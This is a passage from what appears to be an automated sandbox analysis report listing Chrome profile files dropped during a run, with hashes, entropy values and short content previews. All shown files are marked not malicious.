Preview:	2021/10/18-22:45:40.263 1604 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2021/10/18-22:45:40.268 1604 Recovering log #3.2021/10/18-22:45:40.270 1604 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\pkedcjkdefgpdelpbcmbmeomcjbeemfm\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	404
Entropy (8bit):	5.3159083343072995
Encrypted:	false
SSDEEP:	12:FXWv45KkkOrsFUtXXNFZ/NXQ35L5KkkOrzJ:FX045Kk+gXXbXQpL5Kkn
MD5:	DC9325FA0A9B7E6CFFC96C7A46A09A05
SHA1:	ACB0C8145BF873BE99E055D30010EE3DC4A7CAFC
SHA-256:	67E5BE8179EB65EB247A0697E312B23063244E98E116C2514C33F33A9E74126A
SHA-512:	1E1E83ECFEDC79D0A6250943DDB51EDB8A150B8B8EA8E319C8C0B94C9A8A2EFC144AF4754486DD0B9FF1788BE43FC58C169F09AC96B1975F647E32C68F318F27
Malicious:	false
Reputation:	low
Preview:	2021/10/18-22:47:29.352 1720 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\pkedcjkdefgpdelpbcmbmeomcjbeemfm/MANIFEST-000001.2021/10/18-22:47:29.354 1720 Recovering log #3.2021/10/18-22:47:29.355 1720 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\pkedcjkdefgpdelpbcmbmeomcjbeemfm/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\pkedcjkdefgpdelpbcmbmeomcjbeemfm\LOG.old (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	404
Entropy (8bit):	5.3159083343072995
Encrypted:	false
SSDEEP:	12:FXWv45KkkOrsFUtXXNFZ/NXQ35L5KkkOrzJ:FX045Kk+gXXbXQpL5Kkn
MD5:	DC9325FA0A9B7E6CFFC96C7A46A09A05
SHA1:	ACB0C8145BF873BE99E055D30010EE3DC4A7CAFC
SHA-256:	67E5BE8179EB65EB247A0697E312B23063244E98E116C2514C33F33A9E74126A
SHA-512:	1E1E83ECFEDC79D0A6250943DDB51EDB8A150B8B8EA8E319C8C0B94C9A8A2EFC144AF4754486DD0B9FF1788BE43FC58C169F09AC96B1975F647E32C68F318F27
Malicious:	false
Reputation:	low
Preview:	2021/10/18-22:47:29.352 1720 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\pkedcjkdefgpdelpbcmbmeomcjbeemfm/MANIFEST-000001.2021/10/18-22:47:29.354 1720 Recovering log #3.2021/10/18-22:47:29.355 1720 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\pkedcjkdefgpdelpbcmbmeomcjbeemfm/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Visited Links Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.0033464165558137224
Encrypted:	false
SSDEEP:	3:ImtVu9c8tllG:IiVuRls
MD5:	1CDD4816A09C049712C5A76C4A11E5B4
SHA1:	A2B974062233279EDA964101A78AB8B7A86327F3
SHA-256:	DC05A2393BDF0E6C02CD025D0811E030BCFEDDB05DB7737263FFBC51AE6C868F
SHA-512:	A7A8E339CC10DD1E253A70DB7C04E9213F9936A8B0B4EB3762C0FA6639B9E27B14AED490B571C10AE280B31ED4F449B0A094ABF283D39C9DAD65B775AB58C601
Malicious:	false
Reputation:	low
Preview:	VLnk.....?......B..%$U.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\a5dbd66e-281e-4755-bca7-2ebe15bda827.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	5119
Entropy (8bit):	4.970817210278942
Encrypted:	false
SSDEEP:	96:nQvrI3tl9pSKIEIk0JCKL8cM7WkKjrLbOTQVuwn:nQvrs9pSeC4Kp/kKn
MD5:	BE1F51E277DF40E89A8A432352AC5962
SHA1:	D328535B8E26A60994868DCA250691E84AC918CE
SHA-256:	5766712C4A35D9E9CC09EB4A160774CB33B7DC1758C17487E3D3113ACDF2D73F
SHA-512:	34D6A2CDD963BFD388D8D5827E272760D7B8FE726693E57A64C21FE6062BA432528A57B38EE614B18B75F02119DB9F8F858BA0D4ECF243420D90B404F64B6F94
Malicious:	false
Reputation:	low
Preview:	{"account_id_migration_state":2,"account_tracker_service_last_update":"13279095940816130","alternate_error_pages":{"backup":true},"announcement_notification_service_first_run_time":"13245950583260338","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"browser":{"default_browser_infobar_last_declined":"13245950640095768","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1538886"],"daily_received_length":["0","0","0","0","0","0","0","

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\aac9af59-10b4-496a-b048-c86e9b2ecca8.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	19181
Entropy (8bit):	5.570345962284067
Encrypted:	false
SSDEEP:	384:RZvteLlrYXV1kXqKf/pUZNCgVLH2HfDQrUsHGSgg4x:cLl+V1kXqKf/pUZNCgVLH2HfsrUgGtgq
MD5:	8C985F8CC4DD1A242D0D4C13D00C6BC5
SHA1:	2DF5CEECA6E52A3C37F9F79584B111744897E705
SHA-256:	7D416A12620B4C970152E18BADAF040FFDE31BC17CBB722370E748797A34A24C
SHA-512:	5F95A1E855BF04B7E3A5C5DCAABCF63770EDF2172FE23CF2A044F6F1BD6DFD8A415ED98DC15132E51BB55805A13571B51A463F3409BD47CE682BA44EFBB07D51
Malicious:	false
Reputation:	low
Preview:	{"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13279095940249257","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":{"128":"webstore_icon_128.png","16":"webstore_icon_16.png"},"key":"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCtl3tO0osjuzRsf6xtD2SKxPlTfuoy7AWoObysitBPvH5fE1NaAA1/2JkPWkVDhdLBWLaIBPYeXbzlHp3y4Vv/4XG+aN5qFE3z+1RU/NqkzVYHtIpVScf3DjTYtKVL66mzVGijSoAIwbFCC3LpGdaoe6Q1rSRDp76wR6jjFzsYwQIDAQAB","name":"Web Store","pe

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cf381db9-e6aa-46d6-ab94-1ef8bd53d0ec.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	22596
Entropy (8bit):	5.536150320377474
Encrypted:	false
SSDEEP:	384:RZvteLlrYXV1kXqKf/pUZNCgVLH2HfDQrUsHGtnT3sg4l:cLl+V1kXqKf/pUZNCgVLH2HfsrUgGtns
MD5:	2849383956CABF9D9F6DF5B3D274A939
SHA1:	FEEC34B9D40BC17E993D0D01E32E84EEB78CEBA0
SHA-256:	23641F3522A08674956CCA3BF9D764F9F5DCD400F9C403F803728C61D01BC7AA
SHA-512:	FED1397BA0174456DBFFDBF9D052BF806D2C748C1F3F5E99B8B32769B56D56470CEAE9F5CAA90B6FE92642FA940BA26F227C3B55FEBB9F7A410E59D520EAEB9D
Malicious:	false
Reputation:	low
Preview:	{"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13279095940249257","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":{"128":"webstore_icon_128.png","16":"webstore_icon_16.png"},"key":"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCtl3tO0osjuzRsf6xtD2SKxPlTfuoy7AWoObysitBPvH5fE1NaAA1/2JkPWkVDhdLBWLaIBPYeXbzlHp3y4Vv/4XG+aN5qFE3z+1RU/NqkzVYHtIpVScf3DjTYtKVL66mzVGijSoAIwbFCC3LpGdaoe6Q1rSRDp76wR6jjFzsYwQIDAQAB","name":"Web Store","pe

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\000004.dbtmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Rv:1qIFJ
MD5:	6752A1D65B201C13B62EA44016EB221F
SHA1:	58ECF154D01A62233ED7FB494ACE3C3D4FFCE08B
SHA-256:	0861415CADA612EA5834D56E2CF1055D3E63979B69EB71D32AE9AE394D8306CD
SHA-512:	9CFD838D3FB570B44FC3461623AB2296123404C6C8F576B0DE0AABD9A6020840D4C9125EB679ED384170DBCAAC2FA30DC7FA9EE5B77D6DF7C344A0AA030E0389
Malicious:	false
Reputation:	low
Preview:	MANIFEST-000004.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\CURRENT (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Rv:1qIFJ
MD5:	6752A1D65B201C13B62EA44016EB221F
SHA1:	58ECF154D01A62233ED7FB494ACE3C3D4FFCE08B
SHA-256:	0861415CADA612EA5834D56E2CF1055D3E63979B69EB71D32AE9AE394D8306CD
SHA-512:	9CFD838D3FB570B44FC3461623AB2296123404C6C8F576B0DE0AABD9A6020840D4C9125EB679ED384170DBCAAC2FA30DC7FA9EE5B77D6DF7C344A0AA030E0389
Malicious:	false
Reputation:	low
Preview:	MANIFEST-000004.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	139
Entropy (8bit):	4.591993930231497
Encrypted:	false
SSDEEP:	3:tUKgY4DLat1IyZmwv2RY4EZtTV8tRY4EZtTWGv:mTDLSZmwAkVgktv
MD5:	CD649F46962543EEBE9EB1F395CDD64B
SHA1:	E2086CB2696FC08462854674494955AE626CF56F
SHA-256:	FE69859C46E3736390CDD99C30CF43AA842042C191430F3F8D4728CD2F905F61
SHA-512:	882702FF7B34EF49C1450F54624068C5A0C8BD7FFFD849D30F57C07DC613C0156555FFD3219E396826D28C705D4E76FAB16B22BDE4A3650B1BD6A53760894151
Malicious:	false
Reputation:	low
Preview:	2021/10/18-22:45:53.297 1bf4 Recovering log #3.2021/10/18-22:45:54.559 1bf4 Delete type=0 #3.2021/10/18-22:45:54.559 1bf4 Delete type=3 #2.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\LOG.old (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	139
Entropy (8bit):	4.591993930231497
Encrypted:	false
SSDEEP:	3:tUKgY4DLat1IyZmwv2RY4EZtTV8tRY4EZtTWGv:mTDLSZmwAkVgktv
MD5:	CD649F46962543EEBE9EB1F395CDD64B
SHA1:	E2086CB2696FC08462854674494955AE626CF56F
SHA-256:	FE69859C46E3736390CDD99C30CF43AA842042C191430F3F8D4728CD2F905F61
SHA-512:	882702FF7B34EF49C1450F54624068C5A0C8BD7FFFD849D30F57C07DC613C0156555FFD3219E396826D28C705D4E76FAB16B22BDE4A3650B1BD6A53760894151
Malicious:	false
Reputation:	low
Preview:	2021/10/18-22:45:53.297 1bf4 Recovering log #3.2021/10/18-22:45:54.559 1bf4 Delete type=0 #3.2021/10/18-22:45:54.559 1bf4 Delete type=3 #2.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\MANIFEST-000004 Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MPEG-4 LOAS
Category:	dropped
Size (bytes):	50
Entropy (8bit):	5.028758439731456
Encrypted:	false
SSDEEP:	3:Ukk/vxQRDKIVmt+8jzn:oO7t8n
MD5:	031D6D1E28FE41A9BDCBD8A21DA92DF1
SHA1:	38CEE81CB035A60A23D6E045E5D72116F2A58683
SHA-256:	B51BC53F3C43A5B800A723623C4E56A836367D6E2787C57D71184DF5D24151DA
SHA-512:	E994CD3A8EE3E3CF6304C33DF5B7D6CC8207E0C08D568925AFA9D46D42F6F1A5BDD7261F0FD1FCDF4DF1A173EF4E159EE1DE8125E54EFEE488A1220CE85AF904
Malicious:	false
Reputation:	low
Preview:	V........leveldb.BytewiseComparator...#...........

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\dd69564a-b9ab-4e3c-a475-23beefda8105.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	modified
Size (bytes):	2936
Entropy (8bit):	4.907128780659102
Encrypted:	false
SSDEEP:	48:Y26qTCXDHzM3zsvGssRLsOtrq9sB6MqsSTSsJtFsHddszXswtMHosXMH9MHL4MH6:JxTCXDHzMSCfrd6MyrSC5GnG9GkGUhVD
MD5:	949D56A47A0946A275F877EB0AC1DDDF
SHA1:	05C0E6EFD329CB5021EC9FF762B1129AC250DC67
SHA-256:	094E78CA10605B10E8764AC57D06C7CB709771DC90DDD6DAB736E50CF4198B6F
SHA-512:	D9DB725EFEE164B6E87253F6DC34230E5E5ABE0CCA88DC8D72CB993A7F1EF6C0C293EFF933CE400CA3E6B3619003FFC8F09889947392D85654748D22CD583EAA
Malicious:	false
Reputation:	low
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://fonts.googleapis.com","supports_spdy":true},{"isolation":[],"server":"https://www.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://fonts.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://apis.google.com","supports_spdy":true},{"isolation":[],"server":"https://ogs.google.com","supports_spdy":true},{"isolation":[],"server":"https://dns.google","supports_spdy":true},{"isolation":[],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[50],"expiration":"13281687943521220","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://redirector.gvt1.com"},{"alternative_service":[{"advertised_versions":[50],"expiration":"13281687943564244","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://accounts.google.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[50],"expiration":"132

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	337
Entropy (8bit):	5.238446920911433
Encrypted:	false
SSDEEP:	6:mTbDq2P923iKKdKfrzAdIFUtCRXZmwARFkwO923iKKdKfrzILJ:obDv45Kk9FUtCRX/ARF5L5Kk2J
MD5:	FA3A22388A95C6CBC5DE925961A24E8A
SHA1:	E0AE2273C60EFA20DD6DE5A6259F8405AF6A729D
SHA-256:	2AF35C3F0A612B3AA520110F7F644656DF208DBD440FB6EB30B4A4BCBFC120C2
SHA-512:	6A15E2785D8DBAE8F05A5ED08F7DED3B4872093E79E54A7A483670A2057EE2BA728D8C2D131373EDA616C7E917C18AE776EB9C73F9CEEC86B45A7045B31C0CD4
Malicious:	false
Reputation:	low
Preview:	2021/10/18-22:45:49.649 324 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2021/10/18-22:45:49.651 324 Recovering log #3.2021/10/18-22:45:49.651 324 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\LOG.old (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	337
Entropy (8bit):	5.238446920911433
Encrypted:	false
SSDEEP:	6:mTbDq2P923iKKdKfrzAdIFUtCRXZmwARFkwO923iKKdKfrzILJ:obDv45Kk9FUtCRX/ARF5L5Kk2J
MD5:	FA3A22388A95C6CBC5DE925961A24E8A
SHA1:	E0AE2273C60EFA20DD6DE5A6259F8405AF6A729D
SHA-256:	2AF35C3F0A612B3AA520110F7F644656DF208DBD440FB6EB30B4A4BCBFC120C2
SHA-512:	6A15E2785D8DBAE8F05A5ED08F7DED3B4872093E79E54A7A483670A2057EE2BA728D8C2D131373EDA616C7E917C18AE776EB9C73F9CEEC86B45A7045B31C0CD4
Malicious:	false
Reputation:	low
Preview:	2021/10/18-22:45:49.649 324 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2021/10/18-22:45:49.651 324 Recovering log #3.2021/10/18-22:45:49.651 324 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Last Browser Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	106
Entropy (8bit):	3.138546519832722
Encrypted:	false
SSDEEP:	3:tbloIlrJ5ldQxl7aXVdJiG6R0RlAl:tbdlrnQxZaHIGi0R6l
MD5:	DE9EF0C5BCC012A3A1131988DEE272D8
SHA1:	FA9CCBDC969AC9E1474FCE773234B28D50951CD8
SHA-256:	3615498FBEF408A96BF30E01C318DAC2D5451B054998119080E7FAAC5995F590
SHA-512:	CEA946EBEADFE6BE65E33EDFF6C68953A84EC2E2410884E12F406CAC1E6C8A0793180433A7EF7CE097B24EA78A1FDBB4E3B3D9CDF1A827AB6FF5605DA3691724
Malicious:	false
Reputation:	low
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Last Version Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.8150724101159437
Encrypted:	false
SSDEEP:	3:Yx7:4
MD5:	C422F72BA41F662A919ED0B70E5C3289
SHA1:	AAD27C14B27F56B6E7C744A8EC5B1A7D767D7632
SHA-256:	02E71EB4C587FEB7EE00CE8600F97411C2774C2FC34CB95B92D5538E7F30DA59
SHA-512:	86010ED2B2EEBDCC5A8A076B37703669C294C6D1BFAAEA963E26A9C94B81B4C53EC765D9425E5B616159C43923F800A891F9B903659575DF02F8845521F8DC46
Malicious:	false
Reputation:	low
Preview:	85.0.4183.121

C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	378760
Entropy (8bit):	6.027440104049033
Encrypted:	false
SSDEEP:	6144:nYruT3DKYonNGbdIo8Acx6ZaurE5/EDnJpAl9SeefNqWF4iVx/9LPeq/1LHm/dB9:nYjNGbWdxzurRDn9nfNxF4ijZVtilB9
MD5:	47A5DA39A64EA7679326FBAA1100A32A
SHA1:	A65AC0F46D6026081A5912D54E5D389BC6480ECF
SHA-256:	B7CD0FB6CF0F947212F307F46F161513ABD9F590A42EEEBB5E8625F4FA489ECF
SHA-512:	A683287445A1F4792658B1341304C1411C4F870A6D51A16D78C7A77212A9CE5F81EE9E93CB73F90CA9D9C1AE8965C0C8F79B4038968391ECB66EE9E8EC57C74E
Malicious:	false
Reputation:	low
Preview:	{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":{"network_time_mapping":{"local":1.634622342571354e+12,"network":1.634589944e+12,"ticks":115560705.0,"uncertainty":4384120.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABUPWY4cSyAQZRX3j8/SLmMAAAAAAIAAAAAABBmAAAAAQAAIAAAACC7lwCjByxIY/Ds1S6cdCxJW6iSr1QfjoKlVKoVEQ4EAAAAAA6AAAAAAgAAIAAAAD9PMfiGkWkdrfU+zeMpOLPS1eDxLpcgjYP2R/ndeCNxMAAAAK+RpovfP61NtB5nOpQgPMjPTyt2T1WPeru9i3yP05zNVEj0uCRDWfONruG9ricX1kAAAADB9KtQ9KY2z38GdfaF7dW2ZLcAMHOX2oEKBg8ZJG9lsuMexxChB4M8HFpyb0Bpr6axpi+zmMIXt76noTOxFzKN"},"password_manager":{"os_password_blank":true,"os_password_last_changed":"13245950075231176"},"plugins":{"metadata":{"adobe-flash-player":{"disp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State} (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	378656
Entropy (8bit):	6.027248002179834
Encrypted:	false
SSDEEP:	6144:MYruT3DKYonNGbdIo8Acx6ZaurE5/EDnJpAl9SeefNqWF4iVx/9LPeq/1LHm/dB9:MYjNGbWdxzurRDn9nfNxF4ijZVtilB9
MD5:	03328711180DD1FC6E034033E999B80D
SHA1:	6A288851D21F660FF91F7EDBF96E92D999715D37
SHA-256:	D83109F4DCDE93AB386193F498D019536A07999E781BD4402303F5BF52326833
SHA-512:	B039A0438758484350C180DF7BF231E0CA4EF1382B08BFF91AB81184E31F19B5A415B466603BB00F1E31E5F9BEF766FD832733DCFD8A54649255F8E786E38AC6
Malicious:	false
Reputation:	low
Preview:	{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":{"network_time_mapping":{"local":1.634622342571354e+12,"network":1.634589944e+12,"ticks":115560705.0,"uncertainty":4384120.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABUPWY4cSyAQZRX3j8/SLmMAAAAAAIAAAAAABBmAAAAAQAAIAAAACC7lwCjByxIY/Ds1S6cdCxJW6iSr1QfjoKlVKoVEQ4EAAAAAA6AAAAAAgAAIAAAAD9PMfiGkWkdrfU+zeMpOLPS1eDxLpcgjYP2R/ndeCNxMAAAAK+RpovfP61NtB5nOpQgPMjPTyt2T1WPeru9i3yP05zNVEj0uCRDWfONruG9ricX1kAAAADB9KtQ9KY2z38GdfaF7dW2ZLcAMHOX2oEKBg8ZJG9lsuMexxChB4M8HFpyb0Bpr6axpi+zmMIXt76noTOxFzKN"},"password_manager":{"os_password_blank":true,"os_password_last_changed":"13245950075231176"},"plugins":{"metadata":{"adobe-flash-player":{"disp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Module Info Cachelt (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	110312
Entropy (8bit):	3.7500633167455066
Encrypted:	false
SSDEEP:	768:5hQ/qJq+R5wRoH8eXcY6bVkSMqUKmgQFH:DQ/qJq+/eeX04WW
MD5:	4006DD34728A0C93530609117521C120
SHA1:	EE07AA9B2956F112E91B77A14DB8FF868E43FAAF
SHA-256:	1BE9CBA29B4E6EB5B09FAA20EBE525282AEB1A23444D442807057053B2525D10
SHA-512:	0FA5B40AB79CD05A224D143F91D26B6D4508B4E244FCE78A29D1ED189125B6969F4A5CE28B44B148F631982827ADD5B4A4F58CCE0A6E7A93E76397ACB32339B9
Malicious:	false
Reputation:	low
Preview:	..................C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L..P!...[)...%.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .o.f.f.i.c.e.\.o.f.f.i.c.e.1.6.\.......g.r.o.o.v.e.e.x...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .2.0.1.6......M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .f.o.r. .B.u.s.i.n.e.s.s. .E.x.t.e.n.s.i.o.n.s.....1.6...0...4.7.1.1...1.0.0.0.....*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n....H8.D...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.C.o.m.m.o.n. .F.i.l.e.s.\.M.i.c.r.o.s.o.f.t. .S.h.a.r.e.d.\.O.F.F.I.C.E.1.6.\.m.s.o.s.h.e.x.t...d.l.l..@.....U/...%.c.o.m.m.o.n.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .s.h.a.r.e.d.\.o.f.f.i.c.e.1.6.\.......m.s.o.s.h.e.x.t...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.)...M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n. .H.a.n.d.l.e.r.s.......1.6...0...4.2.6.6...1.0.0.1.....D...C.:.\.P.r.o.g.r.a.m.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Subresource Filter\Indexed Rules\27\scoped_dir4724_1667488010\Ruleset Data Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	142248
Entropy (8bit):	4.846958959177541
Encrypted:	false
SSDEEP:	3072:o4epnfQf5uBcSbURPN450zSpInSzpnDfSixPcylmrRX3jOht:o4gfu5uBnb7VxPgrRH2
MD5:	CF3E632B2AF9CF2DF74E474897575FF3
SHA1:	57A1F95D817477FE2C7A5D04A476788D322C85C3
SHA-256:	41D2FF5C77B413F73FD74964606980CB85B53D0A18C58A5596B0FDFBE7D149DE
SHA-512:	E6E262100577E4FDB6521B58E8407AAE401DAAAFCC2891C0F9D849AA9F5AAF18C2AB1B96B0719B1D8870ECA4832E75BEB5EE81C847699C8497CB2D8F5D98AEDF
Malicious:	false
Reputation:	low
Preview:	.........................S..........<....................... ...X...l...h...d...0.......X...T...P...L...H.......@...<.......4...0...,.......\|...`...D........... ...............................P/......ozama...........h/......g.bat............/......onwod.......0..../......ennab............/......nozam............/......geips.........../......rekoj............/......lgoog............0......uotpo...........(0......lreko........... 0.............$R...............Q...Q...Q...Q...Q...R..hQ...Q...Q...Q...Q..<Q...Q...Q...Q...Q...Q...Q...Q...Q...P...Q...P...Q...Q...Q...Q...P...Q...Q...Q...Q...Q...Q..hP...Q..HP...Q..\|Q..xQ.. P..pQ..lQ..hQ..dQ..`Q..\Q..XQ..TQ..PQ..LQ..HQ..DQ..@Q...O...O..4Q..0Q..,Q..(Q..$Q.. Q...Q...Q...Q..tO...Q..TO..8O...Q...P...P...O...P...P...P...P...P...P...P...P...P...P...P...P...P...P...P...P...P...N...P...N...P...P...P...P...P...P...P..XN..<N.. N..xP..tP..pP..lP..hP..dP...M..\P..XP..TP..PP...M..HP...M..@P..<P..8P..4P..0P..,P..(P..$P.. P...P...P...P...P...P...P..HM...P..

C:\Users\user\AppData\Local\Google\Chrome\User Data\d766f6d5-ecf1-4e35-ad44-5000c0522a36.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
